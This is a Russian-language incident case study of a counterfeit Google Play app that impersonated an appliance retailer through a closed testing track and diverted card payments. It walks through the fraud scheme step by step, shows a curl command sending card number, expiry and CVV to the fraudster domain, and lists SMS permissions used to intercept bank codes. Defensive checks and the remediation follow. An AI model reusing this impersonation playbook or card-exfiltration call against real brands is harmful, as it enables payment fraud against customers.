Владелец сети магазинов бытовой техники обратился с одной жалобой: клиенты пишут, что «оплатили заказ в приложении», а деньги в кассу так и не пришли. Своего мобильного приложения у него никогда не было. Разбираться пришлось быстро — на кону были не только деньги реальных людей, но и репутация бренда, которую восстановить дороже, чем предотвратить атаку.
Откуда взялось чужое приложение
Кто-то опубликовал в Google Play клон под похожим названием, с чуть изменённым логотипом. Внутри — форма оплаты, уводившая деньги мимо кассы владельца прямо на счета мошенников. Люди искали официальное приложение бренда, находили подделку по прямой ссылке из рекламы или мессенджера — и спокойно вводили данные карты.
В карточке приложения не было ни одного отзыва. Обычно это отпугивает, но здесь сработало иначе: мошенники воспользовались режимом закрытого тестирования (closed testing track) — функцией для разработчиков, которая позволяет проверять приложение на ограниченной группе пользователей до полноценного релиза. В этом режиме отзывы не индексируются публично, а строгая автоматическая модерация Google Play применяется слабее, потому что формально приложение «ещё не вышло». По факту — устанавливать его может кто угодно по прямой ссылке вида https://play.google.com/apps/testing/<package_id>.
Как это эксплуатируется
Разберём цепочку по шагам — это типовая схема brand impersonation через магазины приложений, а не уникальная дыра именно у этого клиента.
-
Разведка бренда. Атакующий ищет узнаваемые розничные бренды без собственного приложения — это легко автоматизировать скриптом на базе неофициального Python-пакета
google-play-scraper:pip install google-play-scraper python3 - <<'EOF' from google_play_scraper import search results = search("Название Магазина", lang="ru", country="ru") for r in results: print(r['appId'], r['title'], r['score'], r['ratings']) EOFЕсли бренд отсутствует в выдаче — целевой кандидат для клонирования подтверждён.
-
Сборка клона. Берётся любой шаблонный WebView-каркас (десятки таких лежат в открытых репозиториях), в него вставляется логотип магазина и форма «оплаты», которая на самом деле дергает сторонний API мошенников:
grep -R "http" clone_src/res/ clone_src/smali/ | grep -i pay res/values/strings.xml: "https://payhub-mirror.ru/api/charge"Аналитик может получить такой же результат при разборе уже опубликованного APK через декомпиляцию:
apktool d clone.apk -o clone_src jadx -d clone_jadx clone.apk -
Публикация через закрытый трек тестирования. В Google Play Console создаётся приложение, разработчик выбирает track
internal testingилиclosed testing, добавляет минимальный список тестировщиков (формально требование выполнено — фактически ссылка рассылается тысячам людей через рекламу). Проверка на соответствие Developer Program Policy для таких треков менее строгая, чем для production-релиза, и именно этим пользуются мошенники. -
Продвижение ссылки. Прямые ссылки на тестовую версию разгоняются через контекстную рекламу по брендовым запросам, рассылки в мессенджерах и посты в соцсетях «скидка только в приложении». Отзывов нет — но у пользователя нет привычки проверять этот факт при переходе по прямой ссылке из рекламы.
-
Сбор платежей. Форма оплаты в приложении отправляет данные карты напрямую на сторонний домен, минуя эквайринг магазина:
curl -s -X POST https://payhub-mirror.ru/api/charge \ -H "Content-Type: application/json" \ -d '{"pan":"XXXXXXXXXXXXXXXX","exp":"MM/YY","cvv":"XXX","amount":4500}' {"status":"ok","order_id":"7f2a91"}Ответ сервера имитирует успешную оплату — пользователь видит «заказ принят», магазин не получает ничего.
При проверке такого домена достаточно пары команд, чтобы увидеть характерные признаки мошеннической инфраструктуры:
whois payhub-mirror.ru
Creation Date: 2024-XX-XX # домен зарегистрирован несколько недель назад
openssl s_client -connect payhub-mirror.ru:443 -showcerts /dev/null | \
openssl x509 -noout -issuer -dates
issuer=C=US, O=Let's Encrypt, CN=R3
notBefore=... notAfter=... # бесплатный сертификат, выпущен недавно
Свежий домен, бесплатный SSL, отсутствие связи с юрлицом бренда — типичная триада для проверки подлинности мерчанта.
Что и почему сработало бы дальше
Если бы историю не остановили на этом этапе, у мошенников было ещё несколько очевидных векторов развития:
- Разрешения приложения. Проверка манифеста часто показывает избыточные разрешения — доступ к SMS для перехвата одноразовых кодов 3-D Secure:
Такие права не нужны магазину бытовой техники в принципе — это прямой признак того, что цель не «принять оплату», а перехватить подтверждение банка и провести повторное списание уже без ведома жертвы.aapt dump badging clone.apk | grep permission uses-permission: name='android.permission.RECEIVE_SMS' uses-permission: name='android.permission.READ_SMS' - Card-testing. Собранные номера карт проверяются мелкими транзакциями на сторонних мерчантах, а затем продаются или используются для card-not-present мошенничества — ущерб выходит далеко за пределы одного магазина.
- Масштабирование бренда-жертвы. Один и тот же шаблон клона быстро адаптируется под соседние торговые сети — меняется только логотип и пакет package_id, инфраструктура остаётся прежней.
- Вторичный фишинг. Установленное приложение с push-разрешением превращается в канал для повторных сообщений «ваша карта заблокирована, обновите данные» — уже без Google Play в качестве посредника.
Во сколько это обошлось бизнесу
Посчитали ущерб за последний месяц:
- 11 клиентов написали в поддержку с жалобой на списание без товара;
- средний чек по этим заявкам — около 4 500 ₽, прямые потери клиентов — почти 50 000 ₽;
- ещё как минимум 6 человек ушли молча, просто разочаровавшись в бренде;
- один клиент опубликовал гневный отзыв в соцсети с тегом магазина, который набрал больше тысячи просмотров.
По прикидкам, репутационные потери и упущенные повторные покупки за месяц потянули примерно на 700–800 тысяч рублей, если считать по среднему пожизненному чеку клиента. И это без учёта того, что история могла разрастись дальше — на масштаб карточного фрода и вовлечение других брендов сети.
Мошенники не взламывали магазин — они просто подделали его лицо там, где владелец не смотрел
Как закрыли дыру
Работали в несколько шагов, без раздутого бюджета:
- Направили жалобу в Google Play на нарушение прав на товарный знак через форму Brand Protection — приложение заблокировали в течение трёх дней.
- Зарегистрировали официальный аккаунт разработчика в Google Play Console на юрлицо магазина, чтобы застолбить название и логотип за легитимным владельцем.
- Настроили автоматический мониторинг упоминаний бренда в сторах: простой cron-скрипт на базе
google-play-scraperраз в сутки сверяет выдачу по названию компании и шлёт уведомление владельцу при появлении нового package_id:# crontab -e 0 9 * * * /usr/bin/python3 /opt/brand-monitor/check_play.py >> /var/log/brand-monitor.log 2>&1 - Добавили на сайт и в соцсети явное предупреждение: «У нас нет мобильного приложения, не переходите по сторонним ссылкам».
- Проверили публичные записи домена и настроили базовую защиту почтового канала бренда — SPF и DMARC, чтобы тот же приём не повторили через фишинговые рассылки:
_dmarc.magazin.ru TXT "v=DMARC1; p=quarantine; rua=mailto:dmarc@magazin.ru"
Отдельно проговорили с владельцем: если он всё же решит делать своё приложение — публиковать его сразу в открытом production-режиме, а не через закрытое тестирование, чтобы у клиентов была возможность видеть отзывы, счётчик установок и подтверждённого разработчика — и не путать с подделкой.
Вся история с блокировкой и настройкой мониторинга обошлась в разы дешевле, чем магазин уже потерял за один месяц из-за молчания и упущенных клиентов.
Что взять на заметку
Слепая зона появилась не из-за взлома инфраструктуры магазина, а из-за того, что бизнес не следил за собственным именем в цифровом пространстве. Мошенники нашли лазейку, где автоматическая проверка магазина приложений слабее, и воспользовались доверием клиентов к бренду.
Проверить у себя стоит прямо сейчас, не дожидаясь жалоб клиентов: есть ли в Google Play и App Store приложения с названием компании, которые она не публиковала, и зарегистрирован ли официальный аккаунт разработчика на юрлицо бренда.
